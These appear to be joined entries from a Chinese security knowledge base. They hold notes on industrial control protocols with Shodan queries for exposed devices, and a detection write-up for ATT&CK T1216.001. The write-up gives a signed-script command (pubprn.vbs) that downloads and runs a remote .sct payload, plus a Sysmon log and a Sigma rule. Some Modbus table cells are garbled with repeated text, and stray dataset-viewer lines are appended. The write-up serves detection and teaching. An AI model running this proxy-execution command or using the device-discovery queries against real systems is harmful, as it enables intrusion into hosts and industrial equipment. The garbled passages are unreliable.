COTP 协议分为两种形态,分别是 COTP 连接包(COTP Connection Packet)和 COTP 功能包(COTP Fuction Packet)。
**相关文章**
- [Connection Oriented Transport Protocol (COTP, ISO 8073)](https://wiki.wireshark.org/COTP)
**COTP Connection Packet**
COTP 连接包(COTP Connection Packet)也就是 S7Comm 的握手包,格式如下
其中, COTP 连接包的头结构为:
- 0 (Unsigned integer, 1 byte): Length,COTP 后续数据的长度(注意:长度不包含 length 的长度),一般为 17 bytes。
- 1 (Unsigned integer, 1 byte): PDU typ,类型有:
- 0×1: ED Expedited Data,加急数据
- 0×2: EA Expedited Data Acknowledgement,加急数据确认
- 0×4: UD,用户数据
- 0×5: RJ Reject,拒绝
- 0×6: AK Data Acknowledgement,数据确认
- 0×7: ER TPDU Error,TPDU 错误
- 0×8: DR Disconnect Request,断开请求
- 0xC: DC Disconnect Confirm,断开确认
- 0xD: CC Connect Confirm,连接确认
- 0xE: CR Connect Request,连接请求
- 0xF: DT Data,数据传输
- 2~3 (Unsigned integer, 2 bytes): Destination reference.
- 4~5 (Unsigned integer, 2 bytes): Source reference.
- 6 (1 byte): opt,其中包括Extended formats、No explicit flow control,值都是 Boolean 类型。
- 7~? (length-7 bytes, 一般为 11 bytes): Parameter,参数。一般参数包含 Parameter code(Unsigned integer, 1 byte)、Parameter length(Unsigned integer, 1 byte)、Parameter data 三部分。
**COTP Fuction Packet**
相对而言,COTP Fuction Packet 比 COTP Connection Packet 简单,其结构如下:
其中, COTP 功能包的头结构为:
- 0 (Unsigned integer, 1 byte): Length,COTP 后续数据的长度(注意:长度不包含 length 的长度),一般为 2 bytes。
- 1 (Unsigned integer, 1 byte): PDU type,类型有:
- 0×1: ED Expedited Data,加急数据
- 0×2: EA Expedited Data Acknowledgement,加急数据确认
- 0×4: UD,用户数据
- 0×5: RJ Reject,拒绝
- 0×6: AK Data Acknowledgement,数据确认
- 0×7: ER TPDU Error,TPDU错误
- 0×8: DR Disconnect Request,断开请求
- 0xC: DC Disconnect Confirm,断开确认
- 0xD: CC Connect Confirm,连接确认
- 0xE: CR Connect Request,连接请求
- 0xF: DT Data,数据传输
- 2 (1 byte): opt,其中包括 Extended formats、No explicit flow control,值都是 Boolean 类型。
抓包分析过程见 [Wireshark笔记](../BlueTeam/实验/流量分析.md#s7comm) 案例中 s7comm_downloading_block_db1 部分
---
## Ethernet/IP
> shodan : "port:44818"
**简介**
Ethernet/IP 协议是由控制网国际有限公司(ControlNet International)的技术工作组联合 ODVA(Open DeviceNet Vendor Association)于二十世纪九十年代构建.基于CIP(Common Industrial Protocol通用工业协议)作为应用层协议基础上开发的,这是一种面向对象的协议,可以提供一系列标准服务,包括通过隐式和显示的方式对网络设备进行控制.
制定这个协议的原因是在二十世纪九十年代随着现场总线控制技术的成熟,PLC 等智能设备更多的也更方便的接入,现场总线控制技术(FCS)就应运而生了,但是在当时的技术条件下,商业以太网有着较高的延迟性,商业以太网在工业应用中传输延滞在2~30ms之间,这是影响以太网进入工业领域的重要原因,从而开始了对工业以太网的研究。
Ethernet/IP 数据包的组成结构可以分成两部分,CIP 协议部分和 Ethernet/IP 协议部分
CIP 协议封装数据包的结构
- Command 命令:两字节整数,要求与通用工业协议规范中某条特定指令相关,在 CIP 协议中,即使设备不认识这个命令是什么也必须接收,而且异常处理时必须确保连接不中断,这种设计很好的保证了协议的稳定性,降低了中断连接的风险。CIP 协议本身有着实时性、确定性、可重复性、可靠性等特点。
- Length 长度:两字节整数,表示数据部分长度,不存在则为 0,比如说请求数据包就不存在数据部分
- Session Handle 会话句柄:由目标设备生成,返回至会话发起方,作为一种凭证,证明你可以和我进行对话,这个凭证在接下来的对话里还会用到。
- Status 状态码:反应了接收方对设备发送的命令的执行能力,0 为成功执行,在请求数据包中永远为0,下面列出其他几种状态码。
- 0×0001 无效或不支持的命令(这种命令异常处理时不中断运行)
- 0×0002 接收方处理命令资源不足(这里我没找到相关资料描述,但根据 CIP 协议高稳定性原则推测应该会进行不中断运行等待资源足的时候进行执行)
- 0×0003 数据格式不正确或数据不正确
- 0×0065 接收到无效数据长度
- Max Delay 最大延迟:由于工业以太网对实时性要求高,这里的内容是这个包经历的最大延迟。
- Sender Context 发送方上下文:命令发送方会生成六个字节的值,接收方要原封不动的发回去,这个内容可以理解为回复的一种编号,发送方知道接收方收到了对应编号的报文,回复的是对相应报文的回复。
- Options 选项:始终为 0,不为 0 的话包会被抛弃。
- Command-specific data 命令相关数据:这就和我们接受和发送的命令和自身情况有关了。
Ethernet/IP 协议一般运行在 44818 端口上,还有 2222 端口来传送显式报文和隐式报文,可以通过这两个端口对相关设备进行扫描。
抓包分析过程见 [Wireshark笔记](../BlueTeam/实验/流量分析.md#ethernetip) 案例中 s7comm 部分
**相关文章**
- [工控安全EthernetIP协议分析](https://www.freebuf.com/articles/ics-articles/218674.html)
---
## Modbus
> shodan : "port:502"
**简介**
Modbus是20世纪70年代后期由Modicon(现为施耐德电气)为了配合其可编程逻辑控制器(PLC)一起使用,创建的基于串行的控制协议,ModbusRTU 和 Modbus ASCII 诞生于此。后来施耐德电气收购了 Modicon 公司,并在 1997 年推出了 ModbusTCP 协议。
Modbus是最常见的工业控制协议,主要是因为Modbus是一种开放的简单而强大的协议,可以在没有任何版税的情况下开放使用。自从引入Modbus以来,协议已被移植到以太网上工作。为了实现这一点,基于串行的协议被封装(基本上是“封装”)在TCP数据的头部,并且通过默认TCP端口502在以太网络上传输。由于其易于使用,Modbus可以在各种工厂甚至于变电站中找到。
ModbusRTU 和 ModbusASCII 主要用于串行通信领域,而 ModbusTCP 则常用于以太网通信。
**相关文章**
- [工业控制系统安全之——Modbus学习笔记](https://www.freebuf.com/articles/ics-articles/148637.html)
- [工控Modbus学习笔记(在FreeBuf原文上增改)](https://myfzy.top/2019/10/24/Modbus/)
**相关工具**
- [tallakt/modbus-cli](https://github.com/tallakt/modbus-cli) - 使用简单的命令来读写线圈和寄存器
**协议原理**
Modbus 分组帧可以分为两部分:应用数据单元(ADU)和协议数据单元(PDU)。ADU 由地址,PDU 和错误检查方法组成。PDU 由功能码和 Modbus 帧的数据段组成。
Modbus 使用一种简单的 MasterandSlave 主从协议(客户机/服务器协议)进行通信。客户机作为主站,向服务器发送请求;服务器(从站)接到请求后,对请求进行分析并作出应答。其中使用的通信帧被称为应用数据单元(Application Data Unit,ADU),它包括通信地址段、功能代码段、数据段和校验段,如下图:
一般使用上,监控系统(HMI)都为 Master,PLC、电表、仪表等都为 Slave,HMI 系统一直 PollingSlave 的各种 relayandregister 最新数值,然后做显示及各种逻辑计算及控制调整等处理。
其中,功能代码段和数据段组合称为协议数据单元(Protocol Data Unit or Protocol Description Unit),PDU)。功能代码段占用一个字节,取值范围为 1~255,其中 128~255 为保留值,用于异常消息应答报文。1-127 为功能代码编号,其中 65-72 和 100-110 为用户自定义编码,
**传输方式**
Modbus 协议是一种应用层报文传输协议,包括 ASCII、RTU、TCP 三种报文类型,协议本身并没有定义物理层,只是定义了控制器能够认识和使用的消息结构,而不管它们是经过何种网络进行通信的。
Modbus 协议使用串口传输时可以选择 RTU 或 ASCII 模式,并规定了消息、数据结构、命令和应答方式并需要对数据进行校验。ASCII 模式采用 LRC 校验,RTU 模式采用 16 位 CRC 校验。通过以太网传输时使用 TCP,这种模式不使用校验,因为 TCP 协议是一个面向连接的可靠协议。
**ASCII 与 RTU 相互转换**
RTU 模式传输的数据:是8位二进制字符,分高位和低位,每部分各含4位。
ASCII 模式传输的数据:是16位十六进制字符。
区别:
- ASCII 模式使用的字符虽是 RTU 模式的两倍,但 ASCII 数据的译码和处理更为容易一些
- 用 RTU 模式时报文字符必须以连续数据流的形式传送,用 ASCII 模式,字符之间可产生长达1s的间隔,以适应速度较慢的机器。
**ASCII**
一个信息中的每4位字节作为1个 ASCII 字符传输,如数值 63H 用 ASCII 方式时,需发送两个字节,即 ASCII“6”(0110110)和 ASCII”3“(0110011),1个 ASCII 字符占用的位数有7位和8位,国际通用7位为多。这种方式的主要优点是字符发送的时间间隔可达到1秒而不产生错误。
代码系统:
- 十六进制,ASCII 字符 0…9,A…F
- 消息中的每个 ASCII 字符都是一个十六进制字符组成
- 每个字节的位:
- 1个起始位
- 7个数据位,最小的有效位先发送
- 1个奇偶校验位,无校验则无
- 1个停止位(有校验时),2个 Bit(无校验时)
- 错误检测域
- LRC(纵向冗长检测)
**RTU**
当控制器设为在 Modbus 网络上以 RTU 模式通信,在消息中的每个 8Bit 字节按照原值传送,不做处理,如 63H,RTU 将直接发送 01100011。这种方式的主要优点是:数据帧传送之间没有间隔,相同波特率下传输数据的密度要比 ASCII 高,传输速度更快。
代码系统:
- 8位二进制,十六进制数 0…9,A…F
- 消息中的每个8位域都是一或两个十六进制字符组成
每个字节的位:
- 1个起始位
- 8个数据位,最小的有效位先发送
- 1个奇偶校验位,无校验则无
- 1个停止位(有校验时),2个 Bit(无校验时)
**Modbus 数据模型**
**Modbus RTU 和 Modbus ASCII 区别**
Modbus 定义了与基础网络无关的数据单元(ADU),可以在以太网(TCP/IP)或串行链路上(RS232、RS485等)进行通信(以太网 ADU 和串行 ADU 略有不同)。在串行链路上,Modbus 协议有两种传输模式—— ASCII 模式和 RTU 模式。
Modbus 采用主从(Master-Salve)通信模式,仅有主设备(Master)能对传输进行初始化,从设备(Slave)根据主设备的请求进行应答。典型的主设备包括现场仪表和显示面板,典型的从设备为可编程逻辑控制器(PLC)。
在串行链路的主从通信中,Modbus 主设备可以连接一个或N(最大为247)个从设备,主从设备之间的通信包括单播模式和广播模式。
在广播模式中,Modbus 主设备可同时向多个从设备发送请求(设备地址0用于广播模式),从设备对广播请求不进行响应。
在单播模式中,主设备发送请求至某个特定的从设备(每个 Modbus 从设备具有唯一地址),请求的消息帧中会包含功能代码和数据,比如功能代码“01”用来读取离散量线圈的状态。从设备接到请求后,进行应答并把消息反馈主设备。
在主从设备的通信中,可以使用 ASCII 模式或者 RTU 模式。
在 ASCII 传输模式下,消息帧以英文冒号(“:”,ASCII3A Hex)开始,以回车和换号(CRLF,ASCII 0D and 0A Hex)符号结束,允许的传输的字符集为十六进制的 0~9 和 A~F;网络中的从设备监视传输通路上是否有英文冒号(“:”),如果有的话,就对消息帧进行解码,查看消息中的地址是否与自己的地址相同,如果相同的话,就接收其中的数据;如果不同的话,则不予理会。
在 ASCII 模式下,每个8位的字节被拆分成两个 ASCII 字符进行发送,比如十六进制数 0xAF ,会被分解成 ASCII 字符“A”和“F”进行发送,发送的字符量比 RTU 增加一倍。ASCII 模式的好处是允许两个字符之间间隔的时间长达 1s 而不引发通信故障,该模式采用纵向冗余校验(Longitudinal Redundancy Check ,LRC) 的方法来检验错误,
当控制器设为在 Modbus 网络上以 RTU 模式通信,消息中的每个 8Bit 字节都包含两个 4 Bit 的十六进制字符,这种模式没有开始和结束标记。其优点是: 在同样的波特率下,可比传送更多的数据。
在 RTU 模式下,每个字节可以传输两个十六进制字符,比如十六进制数 0xAF,直接以十六进制 0xAF(二进制:10101111)进行发送,因此它的发送密度比 ASCII 模式高一倍;RTU 模式采用循环冗余校验(CRC).
**modbus TCP**
modbus TCP 和 modbus RTU 基本相同,但是也存在一些区别
1. 从机地址变得不再重要,多数情况下忽略。从某种意义上说从机地址被 IP 地址取代
2. CRC 校验变得不再重要,甚至可以忽略。由于 TCP 数据包中已经存在校验,为了不重复造轮子,modbus TCP 干脆取消了 CRC 校验。
TCP 模式是为了让 Modbus 数据顺利在以太网上传输产生的,使用 TCP502 端口。该协议物理层,数据链路层,网络层,传输层都是基于 TCP 协议,只在应用层,将 Modbus 协议修改后封装进去; 接收端将该 TCP 数据包拆封后,重新获得原始 Modbus 帧,然后按照 Modbus 协议规范进行解析,并将返回的数据包重新封装进 TCP 协议中,返回到发送端。与串行链路传输的数据格式不同,TCP 模式去除了附加地址和校验,增加了报文头.
**modbus tcp 和 TCP IP 的关系**
modbus TCP 可以理解为发生在 TCP 上的应用层协议,既然是 TCP 协议那么一个完整的 MODBUSTCP 报文必然包括 TCP 首部,IP 首部和 Ethernet 首部。
**安全问题**
- 缺乏认证:仅需要使用一个合法的 Modbus 地址和合法的功能码即可以建立一个 Modbus 会话
- 缺乏授权:没有基于角色的访问控制机制, 任意用户可以执行任意的功能。
- 缺乏加密:地址和命令明文传输, 可以很容易地捕获和解析
### Modbus功能码
启动 Modbus 事务处理的客户机创建 Modbus 应用数据单元。功能码(PDU 中的)向服务器指示将执行哪种操作。
用一个字节编码 Modbus 数据单元的功能码域。有效范围是十制制 1-255(128-255 为异常响应保留)。当从客户机向服务器发送报文时,功能码域通过服务器执行哪种操作。
从客户机向服务器发送的报文数据域包括附加信息,服务器使用这个信息执行功能码定义的操作。这个域还包括离散项目和寄存器地址、处理项目的数量以及域中的实际数据字节数。
在某种请求中,数据域可以是不存在的,在此情况下服务器不需要任何附加信息。功能码仅说明操作。
**功能码的类型**
功能码主要分为有效功能码、异常功能码和错误功能码。
如果在一个正确接收 Modbus ADU 中,不出现与请求 Modbus 功能有关的差错,那么服务器至客户机的响应数据会包含请求中的正常功能码。
如果出现与请求 Modbus 功能有关的差错,那么响应数据会包含一个异常码和错误码。
例如,客户机能够读一组离散量输出或输入的开/关状态,或者用户能够读/写一组寄存器数据内容。当服务器对客户机响应时,它使用功能码域来指示正常(无差错)响应或出现某种差错(称为异常响应)。对于一个正常响应来说,服务器仅对原始功能码响应,如下图:
对于异常响应,服务器返回一个与客户机等同的码,设置该原始功能码的最高有效位为逻辑1,并加该异常码后增加错误码,以通知客户机异常原因。
**有效功能码**
有效功能码有二十几种,但是一般使用上都以 1、2、3、4、5、6、15、16 等八种最为常用,以及另外特殊使用的 20、21 两种,此为 General Reference Register,绝大部份的 Modbus 设备并不会提供此 Register。于 PLC 上主要的控制数据有下列四种型式。
- DI:DigitalInput(数字输入,离散输入),一个地址一个数据位,用户只能读取它的状态,不能修改。以一个 bit 表示 On/Off,用来记录控制信号的状态输入,例如:开关,接触点,马达运转,超限 switch…等等。于 PLC 上被称为 Input relay、input coil 等。
- DO:DigitalOutput(数字输出,线圈输出),一个地址一个数据位,用户可以置位、复位,可以回读状态。以一个 bit 表示 On/Off,用来输出控制信号,以激活或停止马达,警铃,灯光…等等。于 PLC 上被称为 Output relay、Output coil等。
- AI:Analog Input(模拟输入,输入寄存器),一个地址16位数据,用户只能读,不能修改,,以 16 bits integer 表示一个数值,用来记录控制信号的数值输入,例如:温度、流量、料量、速度、转速、文件板开度、液位、重量…等等。于 PLC 上被称为 Input register。
- AO:AnalogOutput(模拟输出,保持寄存器),一个地址16位数据,用户可以写,也可以回读,以 16 bits integer 表示一个数值,用来输出控制信号的数值,例如:温度、流量、速度、转速、文件板开度、饲料量…等等设定值。于 PLC 上被称为 Output register、Holding register。
**modbus RTU 功能码**
| 功能码 | 功能 | 作用 |
| - | - | - |
| 1 | 读取线圈状态 | 取得一组逻辑线圈的当前状态( 取得一组逻辑线圈的当前状态 (ON/OFF) |
| 2 | 读取输入状态 | 取得一组开关输入的当前状态( 取得一组开关输入的当前状态 (ON/OFF) |
| 3 | 读取保持寄存器 | 在一个或多个保持寄存器中取得当前的二进制值 |
| 4 | 读取输入寄存器 | 在一个或多个输入寄存器中取得当前的二进制值 |
| 5 | 强置单线圈 | 强置一个逻辑线圈的通断状态 |
| 6 | 预置单寄存器 | 把具体二进值装入一个保持寄存器 |
| 7 | 读取异常状态 | 取得 8 个内部线圈的通断状态,这 8 个线圈的地址由控制器决定,用户逻辑可以将这些线圈定义,以说明从机状态,短报文适宜于迅速 个线圈的地址由控制器决定,用户逻辑可以将这些线圈定义,以说明从机状态,短报文适宜于迅速读取状态 |
| 8 | 回送诊断校验 | 把诊断校验报文送从机,以对通信处理进行评鉴 |
| 9 | 编程(只用于 | 编程(只用于 484) ) 使主机模拟编程器作用,修改 使主机模拟编程器作用,修改 PC 从机逻辑 从机逻辑 |
| 10 | 控询(只用于 | 控询(只用于 484) ) 可使主机与一台正在执行长程序任务从机通信,探询该从机是否已完成其操作任务,仅在含有功能码 可使主机与一台正在执行长程序任务从机通信,探询该从机是否已完成其操作任务,仅在含有功能码 9 的报文发送后,本功能码才发送 的报文发送后,本功能码才发送 |
| 11 | 读取事件计数 | 可使主机发出单询问,并随即判定操作是否成功,尤其是该命令或其他应答产生通信错误时 |
| 12 | 读取通信事件记录 | 可是主机检索每台从机的 可是主机检索每台从机的 ModBus 事务处理通信事件记录。如果某项事务处理完成,记录会给出有关错误 事务处理通信事件记录。如果某项事务处理完成,记录会给出有关错误 |
| 13 | 编程( 编程(184/384 484 584) ) | 可使主机模拟编程器功能修改 可使主机模拟编程器功能修改 PC 从机逻辑 从机逻辑 |
| 14 | 探询( 探询(184/384 484 584) ) | 可使主机与正在执行任务的从机通信,定期控询该从机是否已完成其程序操作,仅在含有功能 可使主机与正在执行任务的从机通信,定期控询该从机是否已完成其程序操作,仅在含有功能 13 的报文发送后,本功能码才得发送 的报文发送后,本功能码才得发送 |
| 15 | 强置多线圈 | 强置一串连续逻辑线圈的通断 |
| 16 | 预置多寄存器 | 把具体的二进制值装入一串连续的保持寄存器 |
| 17 | 报告从机标识 | 可使主机判断编址从机的类型及该从机运行指示灯的状态 |
| 18 | ( (884 和 MICRO 84) ) | 可使主机模拟编程功能,修改 可使主机模拟编程功能,修改 PC 状态逻辑 状态逻辑 |
| 19 | 重置通信链路 | 发生非可修改错误后,是从机复位于已知状态,可重置顺序字节 |
| 20 | 读取通用参数( 读取通用参数(584L) ) | 显示扩展存储器文件中的数据信息 |
| 21 | 写入通用参数( 写入通用参数(584L) ) | 把通用参数写入扩展存储文件,或修改之 |
**Modebus 异常码**
| 代码 | 名称 | 功能 |
| - | - | - |
| 01 | Illegal Function | 服务器不允许请求的操作 |
| 02 | Illegal Data Address | 服务器不允许的地址,准确地说,是起始地址与寄存器个数的组合是无效的,比如超出地址范围 |
| 03 | Illegal Data Value | 请求报文中数据域的值是服务器所不允许的,比如隐含的长度是不正确的 |
| 04 | Server Device Failure | 服务器试图响应时出现不可重新获得的错误 |
| 05 | Acknowledge | 与编程命令一起使用。返回这个响应以防止客户机中发生超时错误 |
| 06 | Server Device Busy | 与编程命令一起使用 |
| 08 | Memory Parity Error | 与功能码20和21以及参考类型6一起使用,指示扩展文件区不能通过一致性校验 |
| 0A | Gateway Path Unavailable | 与网关一起使用,指示网关不能为处理请求分配输入端口至输出端口的内部通信路径 |
| 0B | Gateway Target Device Failed to Respond | 与网关一起使用,指示没有从目标设备中获得响应 |
---
## Profinet
**简介**
PROFINET 由 IP 国际组织推出,是新一代基于工业以太网技术自动化总线标准,PROFINET-DCP 是发现和基本配置协议,用于标识与查询有无指定 IP 地址节点,然后配置 IP 地址、默认网关、子网掩码。DCP 是标准的 PROFINET 功能,可以读写设备与网络地址相关参数。由于只能在一个局域网中使用,通过实时通道传输,使用 DCP 协议可以实现不需要额外组态工程操作就能替换设备。
**相关文章**
- [一款针对Profinet协议漏洞渗透的工具](https://www.freebuf.com/sectool/203104.html)
**PROFINET-DCP set ip 流程**
1. 控制器在网内以设备名为参数广播 DCP_Identify.req 请求,确认设备是否存在,设备接收到请求,检查其中的设备名是否与设备自身名字匹配
2. 如果匹配则发送 DCP_Identify.rsp 响应控制器请求,否则不做处理
3. 控制器收到设备回复后,将设备 MAC 地址作为以太网报文的目标地址,控制器将IP地址、子网掩码与网关作为参数发送报文 DCP_Set.req 给设备
4. 设备设置 IP 地址等参数完毕后,发送 DCP_Set.rsp 给控制器
---
## PROFIBUS
**简介**
一种用于工厂自动化车间级监控和现场设备层数据通信与控制的现场总线技术,可实现现场设备层到车间级监控的分散式数字控制和现场通信网络
---
## DNP3
> shodan : "port:20000 source address"
**简介**
DNP(Distributed Network Protocol,分布式网络规约)是一种应用于自动化组件之间的通讯协议,常见于电力、水处理等行业。SCADA 可以使用 DNP 协议与主站、RTU、及 IED 进行通讯。
---
## ICCP
**简介**
电力控制中心通讯协议。
---
## OPC
**简介**
过程控制的 OLE (OLE for Process Control)。
OPC 包括一整套接口、属性和方法的标准集,用于过程控制和制造业自动化系统。
---
## Niagara-Fox
> shodan : "port:1911,4911 product:Niagara"
**简介**
Fox 协议是 Tridium 公司开发的 Niagara 框架的一部分,广泛应用于楼宇自动化控制系统。
---
## BACnet
> shodan : "port:47808"
**简介**
楼宇自动控制网络数据通讯协议(BACnet)是针对采暖、通风、空调、制冷控制设备所设计,同时也为其他楼宇控制系统(例如照明、安保、消防等系统)的集成提供一个基本原则。
---
## GE-SRTP
> shodan : "port:18245,18246 product:"general electric""
**简介**
GE-SRTP 协议由美国通用电气公司开发,GE PLC 可以通过 GE-SRTP 进行数据通信和数据传输。
---
## HART-IP
> shodan : "port:5094 hart-ip"
**简介**
HART 协议是美国 Rosement 公司于1985年推出的一种用于现场智能仪表和控制室设备之间的通信协议。现已成为全球智能仪表的工业标准。
---
## PCWorx
> shodan : "port:1962 PLC"
**简介**
PCWorx 协议由菲尼克斯电气公司开发,目前广泛使用于工控系统。PCWORX3.11 是菲尼克斯电气公司的专用协议。
---
## MELSEC-Q
> shodan : "port:5006,5007 product:mitsubishi"
**简介**
MELSEC-Q 系列设备使用专用的网络协议进行通讯,该系列设备可以提供高速、大容量的数据处理和机器控制。
---
## OMRON-FINS
> shodan : "port:9600 response code"
**简介**
欧姆龙 PLC 使用网络协议 FINS 进行通信,可通过多种不同的物理网络,如以太网、控制器连接等。
---
## Crimson-v3
> shodan : "port:789 product:"Red Lion Controls"
**简介**
协议被 Crimson 桌面软件用于与 Red Lion G306 工控系统的 HMI 人机接口。
---
## Codesys
> shodan : "port:2455 operating system"
**简介**
CoDeSys 编程接口在全球范围内使用广泛,全球上百个设备制造商的自动化设备中都是用了该编程接口。
---
## ProConOS
> shodan : "port:20547 PLC"
**简介**
ProConOS 是德国科维公司(KW-Software GmbH)开发的用于 PLC 的实时操作系统,它是一个高性能的 PLC 运行时引擎,目前广泛使用于基于嵌入式和 PC 的工控系统。
---
## moxa-nport
**简介**
Moxa 串口服务器专为工业应用而设计。不通配置组合的串口服务器更能符合不同工业现场的需求。NPort 系列串口服务器让传统 RS-232/422/485 设备立即联网,提供基于 IP 的串口联网解决方案。
---
## IEC104
**相关工具**
- 电力规约报文解析器(IEC8705) - 电力规约报文解析器是 101 报文解析工具,以电力行业标准为依据,对国际电工委员会标准 IEC8705—101,103,104 等电力远动规约实现进行报文翻译的工具,电力调度专用规约 101、103、104 规约解析工具,支持解析 IEC101/IEC103/104 规约报文。
|
sec-knowleage
|
# T1216-001-win-签名脚本代理执行-PubPrn
## 来自ATT&CK的描述
攻击者可能会使用 PubPrn 来代理恶意远程文件的执行。PubPrn.vbs 是一个将打印机发布到 Active Directory 域服务的Visual Basic脚本。该脚本由 Microsoft 签名,通常通过Windows shell `Cscript.exe`. 例如,以下代码在指定域内发布打印机:`cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com`。
攻击者可能会滥用PubPrn来执行托管在远程站点上的恶意负载。为此,攻击者可以设置第二个`script:`参数以引用托管在远程站点上的脚本文件 (.sct)。一个示例命令`pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct`. 此行为可能会绕过签名验证限制和不考虑滥用此脚本的应用程序控制。
在更高版本的 Windows (10+) 中,`PubPrn.vbs`已更新,防止从远程站点执行代理。这是通过将第二个参数中指定的协议限制为来完成的,也就是可用于通过 HTTP(S) 引用远程代码`LDAP://`的`script:`绰号。
## 测试案例
### 测试1 PubPrn.vbs Signed Script Bypass
执行已签名的PubPrn.vbs脚本,该脚本可以下载和执行任意有效载荷。
攻击命令,Windows命令行执行即可。
```
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
```
remote_payload:<https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct>
## 检测日志
Windows 安全日志、Sysmon日志
## 测试复现
### 测试1 PubPrn.vbs Signed Script Bypass
```
C:\Users\Administrator.ZHULI>cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct"
```
注意操作系统语言,语言不同,VBS脚本所在位置不同
## 测试留痕
Windows Sysmon日志
```
Process Create: 事件ID 1进程创建
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-11 08:05:07.983
ProcessGuid: {78c84c47-3a33-61dd-3924-000000000800}
ProcessId: 2000
Image: C:\Windows\System32\cscript.exe
FileVersion: 5.812.10240.16384
Description: Microsoft
Product: Microsoft ® Windows Script Host
Company: Microsoft Corporation
OriginalFileName: cscript.exe
CommandLine: cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct"
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-f665-61db-95da-440100000000}
LogonId: 0x144DA95
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=0E3C0779D8EAAD3B00363D7890DDC8272B510D49,MD5=A45586B3A5A291516CD10EF4FD3EE768,SHA256=59D3CDC7D51FA34C6B27B8B04EA17992955466EB25022B7BD64880AB35DF0BBC,IMPHASH=2B44D2206B9865383429E9C1524F1CAC
ParentProcessGuid: {78c84c47-2489-61dd-f120-000000000800}
ParentProcessId: 4392
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: ZHULI\Administrator
```
## 检测规则/思路
### Sigma规则
```yml
title: 使用PubPrn.vbs脚本绕过检测
status: experimental
author: 12306Br0
date: 2022/01/11
references:
- attack.t1216.001
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 #sysmon日志,进程创建
CommandLine:
- '*\Printing_Admin_Scripts\*\pubprn.vbs' #进程命令行
- 'https:*'
- '*.sct'
condition: selection
level: low
```
### 建议
监视脚本进程,例如`cscript`,以及脚本的命令行参数,例如可用于代理恶意文件执行的PubPrn.vbs。
## 参考推荐
MITRE-ATT&CK-T1216-001
<https://attack.mitre.org/techniques/T1216/001/>
Atomic-red-team-T1216.001
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1216.001/T1216.001.md>
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.